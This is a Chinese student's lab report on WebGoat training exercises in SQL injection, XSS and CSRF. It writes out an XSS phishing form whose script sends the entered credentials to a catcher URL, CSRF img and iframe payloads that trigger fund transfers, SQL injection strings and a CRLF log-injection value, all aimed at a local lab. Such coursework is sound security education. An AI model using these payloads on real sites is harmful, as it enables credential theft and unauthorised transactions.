本实践的目标理解经常使用网络攻击技术的基本原理,作很多于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。javascript
1.尽可能不要在页面的连接中暴露用户隐私信息,对于用户修改删除等操做最好都使用post操做。2.经过referer、token或者验证码来检测用户提交。3.避免全站通用的cookie,严格设置cookie的域。java
在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登陆界面,直接用默认用户名密码guest登陆便可
git
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
在登陆框中输入用户名20165235,密码20165235,点击登陆后,显示被窃取的用户名和密码。
web
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
注入成功,messege部分显示的是三色框,在下方输入用户名20165235,密码20165235,点击提交后,成功获取用户名和密码。
sql
开xss的第三个攻击Reflected XSS Attacks在“Enter your three digit access code:”中输入`<script>alert("20165235test");</script>`
<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />
点击Submit提交。在下面中生成以Title命名的消息20165235test。点击该连接,当前页面就会下载这个消息并显示出来,从而达到CSRF攻击的目的。
浏览器
<iframe src="attack?Screen=327&menu=900&transferFunds=6000"> </iframe> <iframe src="attack?Screen=327&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成连接"20165235test"。点击连接,攻击成功:
安全
点击view,能看到网络端口使用状况和 IP 地址,攻击成功。
服务器
or 1=1
。攻击成功,显示全部城市的天气状况
cookie
选择Injection Flaws中的第四项String SQL Injection,输入查询的用户名' or '1'='1
,'1'='1'
是永真式,全部的用户信息将会被输出
网络
在文本框中输入用户名qiying%0d%0aLogin Succeeded for username: admin
在密码框输入' or 1=1 --,成功登录,攻击成功。
此次实验主要是利用WebGoat工具,进行SQL注入攻击、XSS攻击、CSRF攻击。攻击原理主要是利用一些语句漏洞,经过修改这些语句进行攻击。实验使我对SQL语句等相关知识有了进一步的理解,对网络攻防的内容也有一些兴趣,虽然不少方面作的仍是有所不足,可是仍然收获颇丰